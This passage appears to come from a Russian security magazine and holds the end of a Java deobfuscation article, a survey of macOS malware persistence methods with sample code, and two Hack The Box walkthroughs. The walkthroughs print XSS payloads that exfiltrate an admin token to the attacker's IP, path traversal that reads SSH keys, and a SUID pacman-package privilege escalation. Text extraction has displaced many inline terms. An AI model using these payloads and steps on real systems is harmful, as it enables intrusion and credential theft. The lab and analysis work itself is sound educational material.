        public static char a(char c) {
                       if (c >= 'A' && c <= 'Z' && (c = (char)(c + 13)) > 'Z') {

               c = (char)(c - 26);
       }

                       if (c >= 'a' && c <= 'z' && (c = (char)(c + 13)) > 'z') {
               c = (char)(c - 26);

       }
        return c;

   }
}

В итоге обращение к строковой константе  выглядит в деобфусци‐
рованном виде как   (или окончательно обфусци‐

рованном ). Строка  - 

 и  так далее. В  других версиях я таких странных извра‐
щений не  встречал, хотя, возможно, это  уже импровизация собственной
паранойи пользователей обфускатора.

Register
T.a((String)"Ertvfgre ")

T.a((String)f3.a(1631, 16759)) Name: T.a((
String)"Anzr:"))

В заключение постараюсь кратко рассказать, как можно использовать эту
информацию для дальнейшего анализа обфусцированного кода и, возможно,
написания собственного деобфускатора.

По‑хорошему, конечно, неплохо  бы накодить свой собственный деком‐
пилятор class-файлов, обходящий ловушки в  коде, подобные описанным
выше. Благо сейчас нет особой проблемы в  декомпиляторах с  открытым
кодом, которые можно форкнуть.

Но лично я посоветовал  бы начать с  малого. К  примеру, взять за  основу
тот же FernFlower (код которого, кстати, тоже открыт) и  строить свой деоб‐
фускатор в  формате постпроцессора над  восстановленным им Java-кодом.
Проанализировав достаточное количество классов, обфусцированных
при  помощи Zelix KlassMaster 12.0.2, можно сказать, что основной источник
зашифрованных строковых констант  — методы 

и  . Они конструируются обфускатором
достаточно консервативно, чтобы после декомпиляции можно было легко
извлечь исходные данные для  описанного выше алгоритма расшифровки
строковых констант: зашифрованные строковые данные, их длины и размеры,
массивы xor-масок и  перекодировки байтов. Причем используя при  этом
обычные регулярные выражения.

static void <clinit>()
private static String a(int, int)

Далее следует искать по  восстановленному Java-коду теми же регуляр‐
ками конструкции типа , считать их строковые эквиваленты
и заменять их в коде. Таким же образом на следующем шаге можно заменять
и выражения вида , тем самым окончательно вытащив

все зашифрованные строки на свет.

a(int, int)

T.a((String)"..."))

Скорее всего, уже этого будет достаточно для полноценного анализа вос‐
становленного кода, но гордые австралийцы хвастаются тем, что приготовили
еще  массу нескучных аттракционов для  развлечения пытливых умов:
Integer/Long Constant Encryption, Reference Obfuscation, Method Parameter
Obfuscation. Так что простор для  изучения этой темы открывается поистине
бескрайний.

https://www.zelix.com/
https://github.com/GraxCode/zelixkiller
https://jdec.app/
https://github.com/fesh0r/fernflower
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ВЗЛОМ

MacOS считается наиболее защищенной
от  вредоносных программ. Тем не  менее
они не просто существуют, но еще и умеют
эффективно закрепляться в  системе,
используя для  этого функциональные воз‐
можности самой macOS. В  этой статье мы
подробно рассмотрим методы persistence-
троянов для «маков» и приведем наглядные
примеры таких вредоносов.

Проникнув в операционную систему, любой уважающий себя вредонос пыта‐
ется закрепиться в  ней. Как  минимум вредоносная программа стремится
обеспечить собственный запуск после перезагрузки ОС. Этот процесс
называется persistence. В macOS существует немало способов закрепления
в  системе, и  некоторые из  них перекочевали в  нее еще  из BSD, например
использование cron. Однако некоторые persistence-методы вполне ори‐
гинальные, и о них мы чуть позже поговорим подробнее.

CRON

Cron  — это  планировщик задач Unix-подобных систем, который позволяет
настроить выполнение команд в  назначенное время. Все запланированные
задачи хранятся в кронтаб‑файле ( ), а все задачи называют кронджо‐

бами ( ). Использование крона для  закрепления в  системе не  так
распространено, как  остальные методы, но  его активно используют некото‐
рые вредоносы, например Janicab.

crontab
cronjobs

Janicab
Janicab (Python/Janicab.A)  — это  вредоносная программа, созданная APT-
группировкой DeathStalker. Этот трой был впервые обнаружен в  2013  году.
Основная функция этой вредоносной программы  — шпионаж за  заражен‐
ными системами и передача собранных данных на управляющий сервер. Тро‐
ян распространялся через рассылку вредоносных документов по  email.
Janicab — один из немногих вредоносов, использующих cron для персистен‐
са. Рассмотрим фрагмент этой программы:

""" add to crontab"""
#save the current crontab file
subprocess.call("crontab -l > /tmp/dump",shell=True)
#seek file if runner is in it

  infile = open("/tmp/dump","r")
    if not "runner.pyc" in infile.read():

   #add the script to crontab
          subprocess.call("echo "* * * * * python ~/.t/runner.pyc " >>/tmp/
dump",shell=True)
   #import the new crontab
   subprocess.call("crontab /tmp/dump",shell=True)
   subprocess.call("rm -f /tmp/dump",shell=True)
infile.close()

Это часть Janicab, которая отвечает за сохранение в системе. Скрипт первым
делом сохраняет существующий кронтаб во  временный файл 

и  проверяет, присутствует ли команда запуска вредоноса в  планировщике
задач. Если нет, скрипт добавляет в кронтаб новую запись 

 и удаляет временный файл.

/tmp/dump

* * * * * python
~/.t/runner.pyc

АГЕНТЫ И ДЕМОНЫ

LaunchAgents и LaunchDaemons — механизмы macOS для автозапуска задач
через систему инициализации launchd. LaunchAgents запускаются от  имени
пользователя после логина в  систему, а  LaunchDaemons  — от  имени root.
Агенты лежат в  папках  или 

, а  демоны  — в  , при  этом для  их
запуска нужны root-права. Хочу также отметить, что существуют и системные
LaunchAgents и LaunchDaemons. Они, в свою очередь, хранятся в директори‐
ях  и  .
Сами агенты и демоны реализованы в виде PLIST-файла.

/Library/LaunchAgents /Library/
LaunchAgents /Library/LaunchDaemons

/System/Library/LaunchAgents /System/Library/LaunchDaemons

INFO

Property List — это файл с расширением ,
который хранит в себе конфигурацию и метадан‐
ные для  конкретного приложения. Эти файлы
бывают представлены в  трех форматах: XML,
JSON и  бинарный. Если конкретно говорить
о  теме персистенса, то файлы PLIST выступают
как инструкции для  launchd, указывающие, как и
когда программу запустить.

.plist

RustDoor
RustDoor (Trojan.MAC.RustDoor) — это написанный на Rust троян, который был
обнаружен в  феврале  2024  года. RustDoor распространялся под  видом
обновления для  Visual Studio. Основная цель вредоноса  — предоставление
удаленного доступа к зараженной машине. RustDoor существует в нескольких
вариантах: в  первом, например, он использует LaunchAgent, чтобы зак‐
репиться в системе.

Заразив macOS, RustDoor создает PLIST в папке ,

чтобы стартовать при каждом логине пользователя:

/Library/LaunchAgents

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.
apple.com/DTDs/PropertyList-1.0.dtd">

 <plist version="1.0">
<dict>

Label<key> </key>
<string>com.apple.visualstudio</string>
<key>Program</key>
<string>[путь к вредоносной программе]</string>
<key>KeepAlive</key>
<dict>
 <key>SuccessfulExit</key>
 <false/>
</dict>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>

 запускает при входе в систему скрипт, который находится по клю‐
чу .
RunAtLoad

Program

<key>RunAtLoad</key>

В случае если процесс будет убит, ключ  перезапустит программу.KeepAlive

<key>KeepAlive</key>

LOGIN ITEMS

А вот и еще один метод персистенса, любезно представленный вирусописа‐
телям компанией Apple. Главное его отличие от LaunchAgent и LaunchDaemon
в том, что Login Items запускаются только для конкретного пользователя. Что‐
бы увидеть список Login Items, нужно перейти в раздел системных настроек

.System Preferences → General → Login Items

Вот скриншот Login Items на моем личном ноутбуке. Каждый раз, когда я авто‐
ризуюсь в  системе, будет запускаться программа Notion. Я могу нажать +,
чтобы добавить новый Login Item, или –, чтобы удалить его.

Щелкнув правой клавишей мыши на любом Login Item, я могу открыть его
в Finder и тем самым выяснить полный путь к этой программе.

Windtail
Windtail (OSX.Windtail)  — это  вредонос, разработанный APT-группировкой
WindShift. Трояна обнаружили в  2018  году, и  он связан с  атаками на  пра‐
вительственные структуры Ближнего Востока. Windtail был создан с  целью
выгрузки данных на  серверы злоумышленников и  распространялся
в  основном с  помощью spear-фишинга: атакующие отправляли письма,
замаскированные под рабочие материалы.

Когда Windtail попадает в систему, он добавляет себя в список элементов
Login Items. Рассмотрим один из фрагментов кода Windtail.

Первым делом Windtail пытается создать объект , который будет хра‐

нить в себе абсолютный путь к файлу вредоноса. Затем троян вызывает фун‐
кцию , чтобы создать объект .

Потом вызывается функция  и  ей переда‐

ется ранее созданный объект в  качестве аргумента. Благодаря всем этим
махинациям в Login Items добавляется исполняемый файл Windtail.

NSURL

LSSharedFileListCreate LSSharedFileList
LSSharedFileListInsertItemURL

INFO

Почему в  коде использовался объект ?
Функции вроде

 ожидают
на  вход объект , так как  это часть Core
Foundation и  Launch Services API. Передача пути
в  виде строки потребовала  бы дополнительного
преобразования, а   уже готов к  исполь‐
зованию.

NSURL

LSSharedFileListInsertItemURL
NSURL

NSURL

ДИНАМИЧЕСКИЕ БИБЛИОТЕКИ

Динамические библиотеки  — это  файлы c расширением , в  них хра‐

нится код, который другие программы могут загружать и  использовать
во  время исполнения. Благодаря библиотекам разработчикам различных
программ не приходится писать один и тот же код для реализации типичных
функций.

.dylib

Динамические библиотеки могут использоваться вредоносными прог‐
раммами как  метод персистенса. Принцип довольно прост: первым делом
вредонос находит подходящую для  его целей легитимную программу. Эта
программа в  любом случае будет использовать какую‑нибудь библиотеку,
поэтому троян подгружает вредоносную библиотеку к этой легитимной прог‐
рамме. Новый процесс впоследствии не  создается, так как  вредоносная
программа подгружается в уже работающий процесс. Ну а поскольку содер‐
жащая вредоносную нагрузку библиотека будет загружена легитимным
и доверенным процессом, этот способ персистенса считается более скрыт‐
ным, чем остальные упомянутые методы.

Чтобы посмотреть, какие динамические библиотеки программа вызывает
при своем выполнении, можно использовать следующую команду:

 otool -L [путь к программе]


Один из способов внедрения динамической библиотеки, которые вредонос‐
ные программы применяют чаще всего,  — использование переменной

.DYLD_INSERT_LIBRARIES

DYLD_INSERT_LIBRARIES
  — это  переменная среды, которая используется,

чтобы подгружать динамические библиотеки во  время запуска программ.
Рассмотрим принцип ее действия на наглядном примере.

DYLD_INSERT_LIBRARIES

Первым делом создадим программу на  C  — возьмем хотя  бы базовую
Hello, World:

 #include <stdio.h>
 #include <stdlib.h>

   __attribute__((constructor)) void hello() {
   printf("Hello, World!\n");
}

Здесь создана функция , которая будет запускаться каждый раз, когда

вызывается динамическая библиотека. Сохраним эту программу у себя в сис‐
теме под названием  и скомпилируем ее:

hello

testlib.c

gcc -dynamiclib testlib.c -o testlib.dylib


Мы используем параметр , чтобы заставить компилятор ком‐

пилировать нашу программу не как стандартный бинарь, а как динамическую
библиотеку.

-dynamiclib

Далее нам нужно объявить переменную . Мы

можем сделать это двумя способами.

DYLD_INSERT_LIBRARIES

Глобальная инъекция
export DYLD_INSERT_LIBRARIES=[путь к вредоносной dylib]


При глобальной инъекции наша вредоносная библиотека будет инжекти‐
роваться во все новые процессы.

Инъекция в конкретную программу
export DYLD_INSERT_LIBRARIES=[путь к вредоносной dylib] [
путь к целевой программе]


Тут мы указываем конкретную программу, при запуске которой будет выпол‐
нен инжект нашей библиотеки. В  остальные процессы библиотека встра‐
иваться не будет.

Я использую глобальную инъекцию, указывая только путь к  созданной
нами динамической библиотеке.

export DYLD_INSERT_LIBRARIES=~/testlib.dylib


Все готово, давай тестить! Запустим любую программу, я, например, исполь‐
зую .ncat

Как ты можешь наблюдать, наша только что написанная библиотека подгру‐
зилась и запустилась вместе с программой.

Этот метод очень прост в использовании. Однако хочу отметить, что такой
способ персистенса будет работать не  на всех бинарниках, в  особенности
эппловских. Это  связано с  Hardened Runtime, который включает флаг

, предотвращающий загрузку сторонних 

с использованием .

disable-dyld-injection .dylib
DYLD_INSERT_LIBRARIES

INFO

Hardened Runtime  — это  механизм безопасности
в macOS, который защищает исполняемые файлы
и процессы от атак, включая подмену динамичес‐
ких библиотек ( ), модификацию кода
и отладку.

.dylib

Теперь перейдем к реальной малвари, использующей такой метод закрепле‐
ния в системе, — Tiny FUD.

Tiny FUD
Совсем недавно, в январе 2025 года, появился новый троян, получивший наз‐
вание Tiny FUD. Аббревиатура FUD (Fully Undetectable) подчеркивает его глав‐
ную фишку  — способность оставаться незамеченным для  антивирусов
и  встроенных защит macOS вроде Gatekeeper или  System Integrity Protection
(SIP). Это не просто очередной бэкдор, а пример того, как злоумышленники
используют современные техники уклонения и  встроенные механизмы
macOS против самой системы.

Функция  устанавливает переменную окружения

, указывая путь к  динамической библиотеке

. Это заставляет динамический загрузчик dyld подгружать биб‐
лиотеку  в  любой процесс, запущенный в  текущем окружении.

Этот метод эксплуатирует уязвимость CVE-2022-26712, которая позволяет
обойти SIP через XPC-сервис.

setenv
DYLD_INSERT_LIBRARIES
ShoveService

ShoveService

INFO

CVE-2022-26712 — уязвимость в macOS, которая
позволяла вредоносу обойти System Integrity
Protection и  изменять защищенные части фай‐
ловой системы c использованием 

. Проблема была связана с XPC-сер‐
висом в 

, который имел право 
, дающее возможность

обходить SIP для перемещения файлов.

PackageKit.
framework

/System/Library/
PrivateFrameworks/ShoveService.
framework com.apple.
rootless.install

В итоге Tiny FUD превращается в  неуловимого призрака внутри системы.
Внедряясь в  macOS с  помощью , троян цепляется
к  существующим доверенным процессам и  работает под  их PID’ами,
не порождая новых подозрительных процессов. Пока родительский процесс
жив (а системные службы вроде WebKit или Safari Helper редко завершаются),
малварь тихо будет выполнять свои деструктивные действия.

DYLD_INSERT_LIBRARIES

ВЫВОД

Вредоносы для  macOS обеспечивают себе закрепление в  системе
при  помощи как  старых трюков, так и  относительно свежих эксплоитов. Эти
примеры показывают, как  вредоносные программы используют совершенно
обычные на первый взгляд функции macOS — от планировщика задач до сис‐
темных фреймворков — в своих целях, чтобы сохранить себя на зараженном
компьютере.

mailto:mureek@proton.me
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ВЗЛОМ

Сегодня я покажу, как можно повысить пра‐
ва в  Arch Linux путем создания собствен‐
ного пакета pacman. Но  прежде чем
доберемся до  ОС, нам предстоит проэкс‐
плуатировать XSS на сайте и выкрасть при‐
ватные данные через API Ethereum, исполь‐
зуя Forge  — ПО  для проверки смарт‑кон‐
трактов.

Наша цель  — получение прав суперпользователя на  машине BlockBlock
с учебной площадки . Уровень задания — сложный.Hack The Box

WARNING

Подключаться к  машинам с  HTB рекомендуется
с  применением средств анонимизации и  вир‐
туализации. Не  делай этого с  компьютеров, где
есть важные для  тебя данные, так как  ты ока‐
жешься в общей сети с другими участниками.

РАЗВЕДКА

Сканирование портов
Добавляем IP-адрес машины в  :/etc/hosts

10.10.11.43    blockblock.htb


И запускаем сканирование портов.

Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он поз‐
воляет атакующему узнать, какие службы на  хосте принимают соединение.
На основе этой информации выбирается следующий шаг к получению точки
входа.

Наиболее известный инструмент для сканирования — это Nmap. Улучшить
результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash
nmap  500  |     1 | 

 
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '
  | s/, /' ',' sed $/ )

nmap   -p$ports -A $1

Он действует в  два этапа. На  первом производится обычное быстрое ска‐
нирование, на втором — более тщательное сканирование, с использованием
имеющихся скриптов (опция ).-A

Результат работы скрипта

Сканер нашел три открытых порта:
22 — служба OpenSSH 9.7;•
порты 80 и 8545 — веб‑сервер Werkzeug.•

Смотрим оба порта веб‑сервера. На 80-м работает какой‑то децентрализо‐
ванный чат, а порт 8545 вернул ошибку.

Главная страница сайта на порте 80

Ошибка на порте 8545

ТОЧКА ВХОДА

На сайте с  чатом есть возможность регистрации и  авторизации. Авторизо‐
ванному пользователю, как правило, доступно больше информации, поэтому
создадим свою учетку. На главной странице нас встречает бот, а также ссыл‐
ка на смарт‑контракты.

Главная страница авторизованного пользователя

Ссылка на смарт‑контракты

По ссылке доступно содержимое файлов  и  .Chat.sol Database.sol

Содержимое файлов

Проверим историю запросов в  . Хотя мы работали только

на одном сайте, в истории есть POST-запрос на порт 8545.

Burp History

POST-запрос на порт 8545

В запросе передаются данные, в  которых можно выделить строку‑иден‐
тификатор . Немного погуглив, находим  по  API

Ethereum.

eth_blockNumber справку

Информация об API eth_blockNumber

Попробуем выполнить запрос к  сервису и  получить аккаунты через API
. Однако в  ответе сервера получаем ошибку, наталкивающую

на мысль о необходимости авторизации.

eth_accounts

Запрос к API eth_accounts

Вернемся к боту и обратим внимание на кнопку Report User. Вводим любую
строку и получаем сообщение, что наш ввод отправлен модератору.

Результат функции Report User

Сообщение на сайте

Сразу проверим наличие XSS. Для  этого открываем листенер (

) и  отправляем нагрузку, которая постучится на  открытый порт. Через

несколько секунд в логах листенера видим запрос, а значит, XSS присутству‐
ет.

nc -nlvp 
8000

   <img src=x onerror="fetch('http://10.10.16.89:8000/test_xss')" />

Логи листенера

Продолжение статьи
→
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HTB BLOCKBLOCK
ПОВЫШАЕМ ПРИВИЛЕГИИ В ARCH
LINUX ЧЕРЕЗ МЕНЕДЖЕР ПАКЕТОВ

ВЗЛОМ 
НАЧАЛО СТАТЬИ←

ТОЧКА ОПОРЫ

XSS
Теперь сделаем нагрузку, которая будет скачивать с  нашего сервера файл
с кодом на JavaScript и выполнять его.

   var scrpt = document.createElement('script');
scrpt.setAttribute('src','http://10.10.16.89:8000/xss.js');
document.head.appendChild(scrpt);

Эту нагрузку закодируем в  Base64  и  будем выполнять через свойство
 тега .onerror img

  

 

<img src=x onerror='eval(atob(
"dmFyIHNjcnB0ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7CnNjcnB0
LnNldEF0dHJpYnV0ZSgnc3JjJywnaHR0cDovLzEwLjEwLjE2Ljg5OjgwMDAveHNzLmpzJ
yk7CmRvY3VtZW50LmhlYWQuYXBwZW5kQ2hpbGQoc2NycHQpOw=="))
' />

Для теста запустим веб‑сервер:

python3 -m http.server


И поместим на  нем скрипт . Код будет выполнять тестовый запрос

на наш сервер.

xss.js

fetch("http://10.10.16.89:8000/test_xss");

Отправляем img-нагрузку и  получаем два запроса на  сервер. Сначала ска‐
чивается скрипт, а потом приходит запрос от скрипта.

Логи веб‑сервера

XSS есть, но cookie пользователя украсть не получилось. Это неудивительно,
так как активен атрибут . Куки с таким флагом не видны браузерному
коду и отправляются только на сервер.

HTTPOnly

Cookie пользователя

Погуляем по сайту и отметим, что при переходе на страницу  выпол‐

няется запрос к   и в ответе сервера возвращается .

Profile
/api/info token

Страница Profile

Запрос к /api/info

Изменим файл  так, чтобы сначала выполнялся запрос к  ,

потом ответ кодировался в URIEncode и Base64, а затем полученные данные
отправлялись на наш веб‑сервер в параметре .

xss.js /api/info

data

fetch('http://10.10.11.43/api/info')
   .then(response => response.json())
   .then(data => {
      const jsonString = JSON.stringify(data);
      const base64Data = btoa(unescape(encodeURIComponent(jsonString)))
;
      const url = `http://10.10.16.89:8000/?data=${base64Data}`;

    return fetch(url);
 })
   .then(response => response.text())

Когда все будет готово, снова зашлем нашу XSS-нагрузку. На  веб‑сервер
придет запрос с данными пользователя.

Логи веб‑сервера

Декодированные данные

Теперь у  нас есть токен администратора. Через панель разработчика
заменяем токен в  браузере, обновляем страницу с  профилем и  видим, что
в меню появилась ссылка на страницу Admin.

Страница Profile

API
Нам стала доступна страница Admin, на которой, увы, ничего полезного, кро‐
ме имен пользователей, не находим.

Содержимое страницы Admin

Но в  Burp History отмечаем запрос к  API . В  запросе выпол‐

няется обращение к API Ethereum .

/api/json-rpc
eth_getBalance

Запрос к API Ethereum

Проверим, можем ли мы использовать произвольные API Ethereum через
метод  в  .eth_accounts Burp Repeater

Запрос к API Ethereum

API работает и возвращает ответ, а значит, попробуем достать данные через
метод . В параметре метода указываем номер блока.eth_getBlockByNumber

Получение данных через eth_getBlockByNumber

Декодируем данные на  сайте . Там находим имя пользователя
, а также строку, похожую на пароль.

CyberChef
keira

Декодирование данных

Декодированные данные

С полученными учетными данными авторизуемся через SSH и забираем пер‐
вый флаг.

Флаг пользователя

ПРОДВИЖЕНИЕ

Проверяем самые популярные пути повышения привилегий в  Linux. Одно
из таких мест — настройки sudoers.

 sudo -l

Настройки sudoers

Судя по выводу программы, мы можем запустить исполняемый файл 

 от имени пользователя .

/home/
paul/.foundry/bin/forge paul

Справка forge

В справке приложения сказано, что команда  может перемещать

содержимое одного файла в другой. Посмотрим справку самой команды.

flatten

Справка forge flatten

Нужно указать приложению исходный файл, а затем в параметре  — файл
назначения. Попробуем скопировать приватный SSH-ключ пользователя
в файл .

-o

/tmp/key

 sudo -u paul /home/paul/.foundry/bin/forge flatten /tmp/key -o /home/
paul/.ssh/authorized_keys


Копирование файла

Файл успешно скопирован. С  полученным ключом авторизуемся по  SSH
от имени пользователя .paul

Сессия пользователя paul

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Вновь проверяем настройки sudoers и на этот раз видим возможность запус‐
тить  от имени  с высокими привилегиями.pacman root

 sudo -l

Настройки sudoers

Pacman  — это  менеджер пакетов в  Arch Linux. Он управляет установкой,
обновлением, удалением и поиском пакетов, а также устанавливает зависи‐
мости. Давай сделаем свой пакет, который выполнит наш произвольный код,
а затем установим его в системе. Для создания пакета нам потребуется соз‐
дать файл , который имеет следующую структуру:PKGBUILD

ralf
pkgname=
1.0
pkgver=
1
pkgrel=

arch=('any')
install=ralf.install


Наиболее интересен последний параметр. Он указывает на  файл 
, который содержит дополнительные инструкции при  установке

пакета. В нем мы и пропишем команду, которая назначит S-бит файлу коман‐
дной оболочки.

ralf.
install

  echo "post_install() { chmod u+s /bin/bash; }" > ralf.install


Теперь используем  для  сборки пакета. В  результате будет создан
сжатый архив пакета в формате .

makepkg
.zst

makepkg -s

Сборка пакета pacman

Теперь установим собранный пакет в систему.

 .zst sudo pacman -U * --noconfirm

Установка пакета pacman

Наш код должен быть выполнен, проверим права на файл ./bin/bash

Права на файл

Справка: бит SUID
Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь,
запускающий этот файл, получает повышение прав до  пользователя  — вла‐
дельца файла в рамках запущенного процесса. После получения повышенных
прав приложение может выполнять задачи, которые недоступны обычному
пользователю. Из‑за возможности состояния гонки многие операционные
системы игнорируют S-атрибут, установленный shell-скриптам.

bash -p

Флаг рута

Машина захвачена!

https://gchq.github.io/CyberChef/
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ВЗЛОМ

Сегодня я покажу процесс анализа APK-
приложения в  Linux. Мы получим данные
для  доступа к  закрытому API на  сайте,
а  затем через уязвимость LFI прочитаем
критически важные файлы на  сервере
и  получим сессию пользователя.
Для  повышения привилегий взломаем хеш
Werkzeug и  извлечем учетные данные
из Solar-PuTTY.

Наша цель — получение прав суперпользователя на машине Instant с учебной
площадки . Уровень сложности задания — средний.Hack The Box

WARNING

Подключаться к  машинам с  HTB рекомендуется
с  применением средств анонимизации и  вир‐
туализации. Не  делай этого с  компьютеров, где
есть важные для  тебя данные, так как  ты ока‐
жешься в общей сети с другими участниками.

РАЗВЕДКА

Сканирование портов
Добавляем IP-адрес машины в  :/etc/hosts

10.10.11.37 instant.htb


И запускаем сканирование портов.

Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он поз‐
воляет атакующему узнать, какие службы на  хосте принимают соединение.
На основе этой информации выбирается следующий шаг к получению точки
входа.

Наиболее известный инструмент для сканирования — это Nmap. Улучшить
результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash
nmap  500  |     1 | 

 
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '
  | s/, /' ',' sed $/ )

nmap   -p$ports -A $1

Он действует в  два этапа. На  первом производится обычное быстрое ска‐
нирование, на втором — более тщательное сканирование, с использованием
имеющихся скриптов (опция ).-A

Результат работы скрипта

Сканер нашел всего два открытых порта: 22  — служба OpenSSH 9.6p1  —
и 80 — веб‑сервер Apache 2.4.58. Сразу идем смотреть сайт и находим там
ссылку на загрузку файла APK (формат приложений для Android).

Главная страница сайта

ТОЧКА ВХОДА

Для первичного анализа APK будем использовать фреймворк . Можно

скачать его с  GitHub и  развернуть локально либо использовать общедос‐
тупный вариант по адресу . Я воспользовался вторым вариантом.

MobSF

mobsf.live
Заходим на сайт и загружаем приложение на анализ.

Очередь сканирования

Спустя несколько минут статус задачи сканирования поменяется и будет дос‐
тупна ссылка с отчетом. Среди общей статистики нам также доступен деком‐
пилированный код приложения. Хотя для  декомпиляции лучше обратиться
к  .Decompiler.com

Отчет MobSF

Листаем страницу отчета и  отмечаем любые данные, которые могут при‐
годиться для  более детального изучения файла. Очень важная информа‐
ция — это список URL, найденных в файле.

Список URL-адресов

Так мы узнаём о новом домене , поэтому обновля‐

ем запись в файле .

mywalletv1.instant.htb
/etc/hosts

10.10.11.37 instant.htb mywalletv1.instant.htb


Также MobSF пробует найти различные секреты, токены и  ключи. Второй
очень похож на часть JWT.

Список возможных секретов

Поочередно просматриваем декомпилированные файлы Java, в  которых
используются URL-адреса. В  файле  выполняется

запрос на 

и используется токен JWT.

AdminActivities.java
http://mywalletv1.instant.htb/api/v1/view/profile

Содержимое файла AdminActivities.java

Декодировать JWT можно на  сайте . В  данных токена видим роль
Admin.

JWT.io

Декодированный JWT-токен

При обращении к API  через браузер получим ошибку 401.profile

Ответ сервера

Однако, применив найденный JWT, мы получаем код ответа 200 вместе с зап‐
рошенными данными.

Запрос и ответ в Burp Repeater

JWT рабочий, а значит, можно исследовать API.

Продолжение статьи
→
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HTB INSTANT
РЕВЕРСИМ ПРИЛОЖЕНИЕ ДЛЯ

ANDROID И ЗАХВАТЫВАЕМ СЕРВЕР

ВЗЛОМ 
НАЧАЛО СТАТЬИ←

ТОЧКА ОПОРЫ

API
Больше ничего интересного я не  нашел, поэтому переходим к  следующему
шагу — декомпиляции APK на уже упомянутом Decompiler.com.

Декомпилирование APK

Попробуем найти новые точки API, которые не  были указаны в  MobSF.
Для этого используем всем известную команду .grep

 grep -iR instant.htb ./


Поиск URL

И находим новый поддомен  — судя по  имени, это  Swagger UI. Обновляем
запись в файле  и открываем новый сайт в браузере./etc/hosts

10.10.11.37 instant.htb mywalletv1.instant.htb swagger-ui.instant.htb


Swagger UI

Изучаем новые API и пробуем для теста запросить список пользователей.

curl  GET  
  

-X "http://swagger-ui.instant.htb/api/v1/admin/list/users"
-H "accept: application/json" | jq


Ответ сервера

Сервер ответил кодом 401. Попробуем использовать найденный ранее JWT.

curl  GET  
    

-X "http://swagger-ui.instant.htb/api/v1/admin/list/users"
-H "accept: application/json" -H "Authorization: 
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtO
WQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.
v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" | jq


Ответ сервера

Сервер вернул данные, а  значит, мы можем использовать API с  тем же
токеном.

Path traversal
Обрати внимание на API для получения логов ./api/v1/admin/read/log

API для чтения лога

В параметре  должно быть передано имя файла. Попробуем

выполнить обход каталога и прочитать файл .

log_file_name
/etc/passwd

curl  GET 
   

  

-X "http://swagger-ui.instant.htb/api/v1/admin/read/
log?log_file_name=../../../../../../../etc/passwd" -H "accept: 
application/json" -H "Authorization: 
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtO
WQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.
v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" | jq


Содержимое файла /ect/passwd

INFO

Подробное объяснение техники path traversal ты
можешь найти в  статье «

».

File Inclusion и  Path
Traversal. Разбираем две базовые веб‑уязвимос‐
ти

Уязвимость path traversal присутствует, а значит, мы можем читать произволь‐
ные файлы в  системе. Проверим, нет ли у  пользователя закрытых ключей
SSH.

curl  GET 
  

  

-X "http://swagger-ui.instant.htb/api/v1/admin/read/
log?log_file_name=../../../../../../../home/shirohige/.ssh/id_rsa" -H
"accept: application/json" -H "Authorization: 
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtO
WQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.
v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" | jq


Закрытый ключ SSH

Сохраняем ключ на  локальную машину, назначаем права (

) и подключаемся к серверу от имени пользователя .

chmod 0600 
id_rsa shirohige

Флаг пользователя

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Теперь нам необходимо собрать информацию. Я буду использовать для это‐
го скрипты PEASS.

Справка: скрипты PEASS
Что делать после того, как  мы получили доступ в  систему от  имени поль‐
зователя? Вариантов дальнейшей эксплуатации и  повышения привилегий
может быть очень много, как  в Linux, так и  в Windows. Чтобы собрать
информацию и  наметить цели, можно использовать 

 (PEASS)  — набор скриптов, которые проверяют сис‐
тему на  автомате и  выдают подробный отчет о  потенциально интересных
файлах, процессах и настройках.

Privilege Escalation
Awesome Scripts SUITE

Загрузим на  удаленный хост скрипт для  Linux, дадим право на  выполнение
и  запустим сканирование. В  выводе будет много всего, давай пройдемся
по важным для нас моментам.

Для локального хоста прослушиваются порты 8808 и 8888.

Список активных портов

В файле с переменными окружения  находим секретный ключ.Instant-Api

Переменные окружения из файлов .env

Получен хеш пароля из файла базы данных по следующему пути:

/home/shirohige/projects/mywallet/Instant-Api/mywallet/instance/
instant.db


Файлы базы данных

В каталоге  есть директория , доступная текущему пользовате‐

лю.

/opt backups

Содержимое каталога /opt

Среди недавно перезаписанных файлов находим бэкап сессионных файлов
Solar-PuTTY.

Недавно перезаписанные файлы

В файле сессии Solar-PuTTY 

 есть зашифрованный блоб данных.

/opt/backups/Solar-PuTTY/sessions-
backup.dat

Содержимое файла

Для его расшифровки будем использовать утилиту .

Однако для этого потребуется пароль.

SolarPuTTYDecrypt

Запуск утилиты SolarPuTTYDecrypt

Вернемся к  найденному файлу базы данных . Скачаем его

на  локальную машину и  просмотрим с  помощью . Из  таблицы
 получим два хеша PBKDF2.

instant.db
DB Browser

wallet_users

